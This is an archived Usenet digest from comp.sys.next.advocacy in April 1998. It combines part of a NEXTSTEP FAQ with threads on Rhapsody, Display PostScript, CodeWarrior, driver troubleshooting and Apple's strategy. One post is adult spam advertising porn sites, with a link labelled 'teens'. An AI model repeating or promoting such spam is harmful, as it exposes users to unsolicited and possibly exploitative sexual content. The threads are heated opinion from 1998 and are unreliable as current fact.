Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: letter to macnn about developer article
Date: 19 Apr 1998 03:49:33 GMT
Organization: Digital Fix Development
Message-ID: <6hbs8d$d8d$1@news.digifix.com>
References: <6h99ll$e8t$1@news.digifix.com> <B15DA2B1-314B7@206.165.43.134>
In-Reply-To: <B15DA2B1-314B7@206.165.43.134>
On 04/17/98, "Lawson English" wrote:
>Scott Anguish <sanguish@digifix.com> said:
>
>> So what you're saying is that Apple is now offering a complete
>> (and according to the Mac faithful, amazing) IDE for free in the
form
>> of CodeWarrior Lite..
>>
>
>
>
>Which has been available for over a year if you purchased an intro to
>Codewarrior book, and has been available for several months (at
least) as a
>standalone download at Metrowerks.
>
I love this...
Its free IF you buy.... typicall
>Nothing new, as I said.
>
Ah.. Only GX is new.. silly me.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: HOT XXXXXX
Newsgroups: comp.sys.next.advocacy
Date: Fri, 17 Apr 1998 20:18:59 PDT
Subject: VISIT NOW HOT XXXXX
Organization: Email Platinum v.3.1b
Message-ID: <35380bed.0@news.codenet.net>
no tricks fees or bullshit just visit once if you dont think
there is enough free pics dont come back. PICK FROM 25 CATAGORIES CONTAINING OVER 50,000
FREE PICS!!!!!! OVER 18 (21 IN SOME PLACES)
JUST CLICK HERE ONCE AND SEE 4 YOURSELF!!!!!!!
http://omega.hostings.net/teens.html
http://omega.hostings.net/celebs.html
no pop up, trick banner bullshit
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 19 Apr 1998 03:17:35 GMT
Organization: @Home Network
Message-ID: <6hbqcf$c7b$1@ha2.rdc1.sdca.home.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: macghod@concentric.net
In <01bd6b25$321d87c0$25f0bfa8@davidsul> "NeXT Newbie" wrote:
> We have all heard about all of Jobs pecadillos, about how he screwed THe
> Woz out of $200, about how he cusses people out, and quite frankly its time
> to get rid of Jobs. He simply LACKS INTEGRITY. You youngins simply dont
> value INTEGRITY Like you should!
>
> :)
>
...cute troll.
¼ someone besides myself over forty here, isn't afraid of making an ass out of
himself.
-r
Rex Riley
From: stwillis@ews.uiuc.edu (willis sean timothy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 19 Apr 1998 04:33:06 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6hbuq2$re3$1@vixen.cso.uiuc.edu>
References: <6hbh3c$o7e$1@news.xmission.com> <B15EB36A-23703@206.165.43.9>
Lawson English (english@primenet.com) wrote:
*Carmack notice snipped*
That was in reference to Doom, I believe, as it reads extremely similar to
the comments he mentioned in the README for that game. In any case, it
went on to say that it was in no way optimized for the system, and there
was no market to justify a full blown port.
This incessant harping on the graphics model used in Next/Openstep
and Rhapsody is inane. Give it up. IT works, and you don't have any proof
to the contrary. Why not ask people if you have questions, instead of
making invalid claims and begging to have them refuted?
(Though I must say that the ensuing comments from the knowledgable
folks on c.s.n.a. have really helped my understanding of the graphics
subsystems of modern computers. So Lawson's posts have some value in this
group)
sean
--
Sean Willis : stwillis@uiuc.edu
Aero/ Astro Engineering : http://www.uiuc.edu/ph/www/stwillis
University of Illinois @ Urbana : "When my hand slipped, she looked at
U.S. Presidential Candidate, 2012 : me, and she sang this song...."
-The Dirty Dozen
From: ylee@columbia.edu (Yeechang Lee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,soc.culture.usa
Subject: Re: America vs. Europe: education
Date: 19 Apr 1998 04:41:40 GMT
Organization: World Domination for Fun and Profit, Inc.
Message-ID: <slrn6jj044.k4h.ylee@watsol.cc.columbia.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu> <MPG.f9e0bd4339572849898ae@news.supernews.com> <rmcassid-1504981009550001@dante.eng.uci.edu> <6h3vq4$rgu$1@ha2.rdc1.sdca.home.com> <35392938.1DC@accesspro.net>
Adrian Penalo <adrianp@accesspro.net> wrote:
> "America vs. Europe"? Shouldn't it be "The United States vs. Europe"?
> Remember that "America" is the entire Western Hemisphere (North,
> Central, and South America), not only the U.S.A.
No, those are the Americas. The United States of America is the only
nation with the word in its name, and people everywhere know what you
mean when you say "America."
--
<URL:http://www.columbia.edu/~ylee/>
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <180498152822@mbox5.singnet.com.sg>
Control: cancel <180498152822@mbox5.singnet.com.sg>
Date: 18 Apr 1998 07:29:24 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.180498152822@mbox5.singnet.com.sg>
Sender: jamesku@mbox5.singnet.com.sg
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: letter to macnn about developer article
Date: 19 Apr 1998 02:02:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15F0CDF-E1F3@206.165.43.28>
References: <6hbs8d$d8d$1@news.digifix.com>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Scott Anguish <sanguish@digifix.com> said:
> >Which has been available for over a year if you purchased an intro to
> >Codewarrior book, and has been available for several months (at
> least) as a
> >standalone download at Metrowerks.
> >
>
> I love this...
>
> Its free IF you buy.... typicall
I's free with the book on how to use CodeWarrior. It's been free for
several months if you wanted to download it from the MetroWerks site.
>
>
> >Nothing new, as I said.
> >
>
> Ah.. Only GX is new.. silly me.
As I expected, you have nothing new to say.
Typical. Yes, and it IS silly of you.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: 19 Apr 1998 02:10:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15F0E87-14587@206.165.43.28>
References: <6hbuq2$re3$1@vixen.cso.uiuc.edu>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
willis sean timothy <stwillis@ews.uiuc.edu> said:
> Lawson English (english@primenet.com) wrote:
>
> *Carmack notice snipped*
>
> That was in reference to Doom, I believe, as it reads extremely similar
to
> the comments he mentioned in the README for that game. In any case, it
> went on to say that it was in no way optimized for the system, and there
> was no market to justify a full blown port.
Actually, no. That quote was from the readme for the original QuakeEd
application that was implemented on NeXTstep FIRST. According to Carmack,
Display PostScript and such applications are NOT made for each other. He
even gives reasons for this. Now, you can say that I've misinterpretted
what he said, but given that neither you nor Don even quoted him correctly
(he DOES say that the constant flushing of a 3MB XY view bogs the app down
and it WAS about Quake, not Doom), I'm betting that you guys have a need to
read every comment about DPS in the best possible light that rivals MY bias
about DPS.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: hi@no.spam.e-mail.thanks.a.lot.see.sig.for.address (Carl Bond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 19 Apr 1998 08:50:41 GMT
Organization: A wee lone soul with a Macintosh for power...
Message-ID: <hi-2908560507090001@1cust23.tnt8.krk1.da.uu.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu>
In article <6hbob0$5g8@mozo.cc.purdue.edu>, pomart@cartoon.ecn.purdue.edu
(Your Name) wrote:
| "NeXT Newbie" <macghod@concentric.net> writes:
|
| >We have all heard about all of Jobs pecadillos, about how he screwed THe
| >Woz out of $200, about how he cusses people out, and quite frankly its time
| >to get rid of Jobs. He simply LACKS INTEGRITY. You youngins simply dont
| >value INTEGRITY Like you should!
|
| Shut up! Jobs is doing fine, could have done better, yes, but he's
| doing all right.
Oh yeah? Well, um, tell that to the OpenDoc developers...
I am sure they would LOVE to see Apple live where their career died.
NOTE TO JOBS:
YOU IRONED OUT QUARTER LOSSES AND OTHER THINGS THAT WERE "KILLING" APPLE.
NOW, IRON OUT THIS PROBLEM! AND BRING NEWTON DEVS INTO THE FOLD AS WELL!
OR DOES GATES HAVE US TIED DOWN TIGHT?!?!?
--
"I urge you to be different. I urge you to buy Macintosh. You'll
personally reap the benefits and you'll have great strength. Enjoy."
<Carl Bond> <cbond@earthlink.net>
From: wisdezetekstenpunt.dennis.scp@multiweb.nl (Dennis SCP)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people Adobe doen't want comit yet, so leave it alone
Date: Sun, 19 Apr 1998 12:22:21 +0200
Organization: Dutch News Service (http://www.news-service.com)
Message-ID: <1d7otqq.1728rf01y2m6vgN@hoorn22.multiweb.net>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com> <6h7506$74b$1@usenet52.supernews.com> <01bd6a66$55617260$32f0bfa8@davidsul> <joe.ragosta-1704981435220001@wil68.dol.net> <MPG.fa15f20e91f57819896f4@news.itg.ti.com> <rmcassid-1704981253240001@dante.eng.uci.edu>
5iBX?hr:nQb&.MA|;6*WHFudDTiUxRJ'bCt|/F#Ct|'y_(I*Emh>1BP@cvz@pT]EiG%
Cache-Post-Path: nntpcache.support.nl!unknown@hoorn22.multiweb.net
<rmcassid@uci.edu> wrote:
> Seriously, given direct statements by a CEO or statements by unnamed
> sources, which should you believe? If you toss in the various observations
> that Adobe developers have gone to Rhapsody programming kitchens and that
> anytime Lattitude is mentioned, Adobe's name also seems to come up, it
> would be reasonable to assume that we should expect to see *something* out
> of Adobe.
Sure, but what is *something* going to be?
Adobe is a big crossplatform company, they would be stupid by not
sending a small group on asignment to check out Yellow box development.
It could save them huge amount's of money for development in future
projects.
But the real question is 'Will Adobe create one of there big flagships
on Rhapsody and will they claim that Rhapsody is the best user platform
to get the best performance out of it.' But the question can't come up
until other rumors come as 'Adobe trying out Photshop on YellowBox
API's'. But they aren't here yet so leave Adobe/Rhapsody alone for a
while. (I'm sure some Adobe team is also keeping up to date on JAVA or
NT5 or whatever.)
Dennis SCP
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac programming...
References: <35395405.0@206.25.228.5> <B15EAD47-C5D7@206.165.43.9>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <3539ac9f.0@206.25.228.5>
Date: 19 Apr 98 07:49:51 GMT
"Lawson English" <english@primenet.com> wrote:
> John Kheit <jkheit@xtdl.com> said:
> > I remember the thing your referring to. If my memory serves,
> > he was talking about the 3D stuff in general. Turning off
> > backing stores, *the original point of the comments above before
> > you decided to make this yet another GX diatribe* was not a
> > problem with the Quake stuff.
> This was the Quake *editor*. It wasn't a backing-store issue, as
> far as I can tell, but a dithering issue. The Quake textures are
> all 8-bit, whereas the drawing has to be 32-bit dithered to 8-bit.
Yes, Quake *editor* ralling under the umbrella of Quake *stuff*.
> And CLUTs may be awkward, but GX's implementation of them is
> reasonably useful.
CLUT's suck. They have no use under today's hardware. I don't
see any great justification for them. I'll take the relatively
(on today's hardware) painless performance hit for the advantages
of 1) not having my screen turn to puke by switching between apps,
and 2) (not necessarily a problem of CLUTs, but usually following
them for the "I gotta write directly to video" crowd) not having
my machine bomb all the freakn time.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: shsstree@reading.ac.uk (Brian T. Streeter)
Newsgroups: comp.lang.postscript,comp.sys.next.advocacy
Subject: Re: Adobe dps-info Was:Re: End of Display PostScript?
Date: 19 Apr 1998 11:00:22 GMT
Organization: University of Reading
Message-ID: <6hclg6$b8f$1@susscsc1.reading.ac.uk>
References: <ldo-2403981003100001@a24.hn1.wave.co.nz> <3519F50E.2E4C51B@trilithon.com> <1998Mar30.113319@lsl> <352C3C0F.5CB6E295@rs6000.cmp.ilstu.edu> <1998Apr9.095048@lsl> <p.kerr-1504981822550001@news.auckland.ac.nz>
p.kerr@auckland.ac.nz (Peter Kerr) writes:
>In article <1998Apr9.095048@lsl>, paul@lsl.co.uk (Paul Hardy) wrote:
>>
>> Has anyone seen anything recent and definitive from Adobe (or anyone else)
>> about the precise future status of DPS ?
>>
>I'm busy wading thru the GS-510 docs at present (filed on my other machine
>at home), & seem to remember noting something to the effect that Adobe had
>donated the DPS API to one of the X- groups
>chapter & verse to follow...
In the latest ADA Monthly News Bulletin Adobe state "Adobe no longer
supports or distributes Display PostScript".
Brian Streeter.
From: Robert Forsyth <bobbyf@forsee.tcp.co.uk>
Newsgroups: comp.soft-sys.nextstep,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.misc
Subject: Re: help with OS and configuring
Date: Sun, 19 Apr 1998 12:16:40 +0100
Organization: Total Connectivity Providers - Maximising the Internet
Message-ID: <3539DD18.68854FE7@forsee.tcp.co.uk>
References: <01bd6662$376a8d80$43f0bfa8@davidsul> <353671BE.1464FBC3@forsee.tcp.co.uk> <01bd69f9$1e844500$40f0bfa8@davidsul>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
So this Trident card is not recognized by your current set of drivers.
This may be due to the PCI vendor/device ID of your particular Trident
card not being listed.
If I remember your problem correctly, the driver does not recognize the
hardware, gives up and you are left in a 640 x 480 x 2 BW screen. You
could try the SVGA driver, for 800 x 600 x 2 BW, but this may not work
at all; the driver uses the VBIOS and this has to be well behaved,
whereas Trident is a cheap manufacturer so this is less likely.
I had a look on NextAnswers (ent.apple.com), but the only Trident
drivers are the Trident Generic one and the IBMThinkpad ones.
Either, get a card/chipset that is recognised and use that for Openstep,
or, wait until someone writes a driver for your card/chipset (approx.
$4000-$15,000 for one user and $50 for lots).
In Windows 95, what does
ControlPanel/SystemProperties/DeviceManager/DisplayAdpater/<x>/Propties/Resources
say?
NeXT Newbie wrote:
>
> Robert Forsyth <bobbyf@forsee.tcp.co.uk> wrote in article
> <353671BE.1464FBC3@forsee.tcp.co.uk>...
> > There is something call 'dots' that will print (PS) on inkjets for
> > Nextstep/Openstep.
> >
> > I am fairly sure Openstep can not use your 3D graphics card (not the 3d
> > bit). If your video card is PCI, Configure.app will find it if it has a
> > .config bundle/driver that supports it.
> >
> > If you start Openstep in verbose mode (-v to the boot: prompt) or in
> > /usr/adm/messages you will see a list of PCI devices Openstep was able
> > to find. If you do not know what chipset your video card uses, you/we
> > may be able to work it out from the PCI vendor/device id, in the above
> > list.
>
> The card is a trident 975, at least thats what flashes during bios startup.
>
> Since it uses a trident 975 I set it up with the only trident driver in OS,
> trident generic. Plus, in configure.app their is a setting that says
> something like "drivers for devices detected" and none are listed, so it
> then switches to the other mode
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 19 Apr 1998 14:55:37 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jk439.rln.sal@panix3.panix.com>
References: <slrn6jc21u.9i.jason@jhste1.dyn.ml.org> <B15BB1DE-33E9B@206.165.43.169> <35366814.4513@CONVEX.COM> <slrn6jcsa9.lbp.sal@panix3.panix.com> <3536761E.59B2@CONVEX.COM> <slrn6jdlpg.3u2.sal@panix3.panix.com> <3537C3A0.64F45942@nstar.net>
On Fri, 17 Apr 1998 15:03:28 -0600, Michael Peck <mjpeck@nstar.net> wrote:
>And you're wrong anyway. You said that XEmacs requires a local X
>session; it requires nothing of the sort, even if such a thing existed.
Can I run it without X? Can I use it without X? By Local X I ment that
X had to be running on your local machine.
>> > By contrast, my entire X session is an IDE if I so choose.
>> So can the whole WinNT shell. Add icons to your desktop. Add options to the
>> start menu. Go nuts!
>Er, it's not really the same. Believe me, I'm working on this very
>thing, and it *isn't* what I'm talking about.
How so? How can X be the IDE and not WinNT?
>> Should be CMD.EXE.
>I run a mix of NT and 95.
Don't. Despite what MS says, it will cause problems. If you must, at least
set up different partions for W95 and NT.
>> And bash does not run *on* it, it runs on the NT
>> console services subsystem. No CMD.EXE required.
>Hm, my bad, I guess. I'm not entirely up to speed on the subject.
Time to RTFM. If you have the VC++ docs, you should have the complete
console services docs on your system and some demo Apps.
>> The console layer is one of those things in NT that gets a bad rep.
>> Don't think it is the same as running Bash on command.com, it isn't.
>> It is a Win32 app with a console UI rather than GDI32/USER32 UI. With
>> some minor hacking you can have a CLI app that draws to a GUI window,
>> and vice versa.
>Ah, but this is what I was trying to get at: is there anything I can do
>about the console itself?
You can change the 80*25 default. You can change the ComSpec to be
bash.exe rather than cmd.exe. You can *replace* the console mode if you
wanted, or write a console++ that does more. Is that enough?
>By this I mean the 80x25 window to which
>consoles (including CMD.EXE) default. This is super clumsy. Maybe it
>seems superficial, but it's a significant drawback for me.
Change it. Open up regedit and search for cmd.exe and then for "console"
you'll find all the settings that you can edit. I'm not sure that changing
from cmd.exe to bash.exe in comspec isn't going to break anything, YMMV.
>> >Yes, I know. But I'm finding that all of the cruft and crap soldered
>> >onto VC actually inhibits productivity. I like the minimalist++
>> >approach, rather than the Microsoft drill-down-from-the-kitchen-sink
>> Emacs is hardly minimalist.
>Emacs is as minimalist as I like it to be. That's exactly what I'm
>describing above. Emacs doesn't do anything by default that I don't want
>it to do. By contrast, I have been paring the shit out of VC++ simply
>because it presents so much junk that I don't want or need.
VCPP is as minimalist as I like it to be. That's exactly what I'm
describing above. VCPP doesn't do anything by default that I don't want
it to do. By contrast, I have been paring the shit out of Emacs simply
because it presents so much junk that I don't want or need.
It sounds equaly nitpicky when rephrased.
If you are going to evaluate VCPP based on how closly it acts like Emacs,
then you are never going to be happy with it. If you were a little open
minded and compared it based on how well it performs at the task it was
designed for, you might not be so quick to dismiss it.
If you want to complain about the CPP compiler, and the horrid template
performace and the lame STL, then that is another story... :)
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 19 Apr 1998 15:00:33 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jk4ch.rln.sal@panix3.panix.com>
References: <joe.ragosta-1404981037440001@wil44.dol.net> <B159020F-6203B@206.165.43.147> <6h5bfk$58j$2@ironhorse.plsys.co.uk> <01bd699d$3a2001c0$3af0bfa8@davidsul> <slrn6jcu7s.lbp.sal@panix3.panix.com> <01bd69f7$fbc3e580$40f0bfa8@davidsul>
On 17 Apr 1998 05:00:25 GMT, NeXT Newbie <macghod@concentric.net> wrote:
>Well, lets say I wanted to start developing apps for rhapsody RIGHT NOW.
>Wouldnt it be a bit hard to develop them without Rhapsody? Even if one had
>OPENSTEP 4.2 I would imagine it would be helpful to have rhapsody, dont you
>think?
Sure, but that $500 program cost is trivial when compared to the other costs
involved. You had problems setting up OS4.2, wouldn't it be worth the $500
to get phone support to help you throught the set up?
And there is no guarantee that Rhapsody will ever ship, so all that time
you invested in learning it might be wasted.
The $500 is *trivial* when you look at the big picture.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: FYI: MS Development program
Date: 19 Apr 1998 15:02:25 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jk4g1.rln.sal@panix3.panix.com>
References: <01bd6a2b$12d57940$04387880@test1> <3538dff2.0@206.25.228.5>
On 18 Apr 98 17:16:34 GMT, John Kheit <jkheit@xtdl.com> wrote:
>I think the difference is that ms allows the *world* to get beta's,
>pretty much at cost. I don't understand why apple doesn't do the
>same, since it could only help reliability, and they might even
>make a few bucks off it.
The Beta for Win98 is for sale, not the beta for NT5. But you are
right, it would make sense for Apple to sell DR2 at $50 or so for
people to evaluate it.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 19 Apr 1998 15:10:40 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jk4vg.rln.sal@panix3.panix.com>
References: <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com> <6h1r8v$os8$5@ns3.vrx.net> <6h351d$cfh$1@new-news.cc.brandeis.edu> <6h2lv1$fbp$1@ns3.vrx.net> <joe.ragosta-1504982003550001@elk35.dol.net> <slrn6jdjt5.3u2.sal@panix3.panix.com> <6h734m$6s$2@ns3.vrx.net>
On 17 Apr 1998 08:16:22 GMT, Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <slrn6jdjt5.3u2.sal@panix3.panix.com> Salvatore Denaro claimed:
>> 1) Apple does not have any hardware that can compare to the high end
>> Sun E10 style hardware,
> I don't think that's an issue - the vast majority of Unix appears to be
>running on Intel boxes and I have reason to believe that Rhapsody on PPC will
>kick arse in comparison. Unix is NOT just a high end OS any more, and it's
>that 5 million or so users on low end machines that I'd be interesting in
>"turning on" to Rhapsody.
If you want to sell Unix to the Fortune 500, you have to show that it can
scale from desktop to teraflop. If not, you'll be relegated to "department"
or "workgroup" status, and you'll have to fight NT for every server.
And there is no guarantee that folks running x86 Unix servers will want to
switch. And Rhapsody will have to compete with free Unix products in that
market.
>> 2) Apple does not have the support structure to handle that market. NeXT
>> did, but just barely.
> I don't see how this is an issue. They HAVE the NeXT team, plus more and a
>lot more resources in both bodies and cashola.
Time will tell if they have a plan on how to sell and support Rhapsody.
>> 3) Oracle, Informix, SAP, Sybase, PeopleSoft... None of those run on
>> Rhapsody and none have been annouced. (Oracle might be there, but they
I think that support for the big three SQLs is _very_ important. It is
what has been holding back Linux in some var circles...
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 19 Apr 1998 15:15:12 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jk580.rln.sal@panix3.panix.com>
References: <slrn6jdmrc.3u2.sal@panix3.panix.com> <1998041714460300.KAA20455@ladder03.news.aol.com>
On 17 Apr 1998 14:46:03 GMT, WillAdams <willadams@aol.com> wrote:
>Uh, Sal, may want to brush up on your ancient history--Jobs is a not bad C
>programmer (though often people joke about his code being riddled with the
>comment // magic happens here),
Was C being used by Apple or Atari at that point? I was under the impression
that Jobs was the one who saw the value in Woz's little box and built the
buisness plan to sell it.
>and did low/chip level hardware design/hacking
>at HP and also freelance for Atari.
>Once, he and Wozniak were challenged by Nolan Bushnell to do a better/cheaper
>game with a payoff of $1,000 if they could get it under a certain number of
I stand corrected.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 19 Apr 1998 15:19:06 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jk5fa.rln.sal@panix3.panix.com>
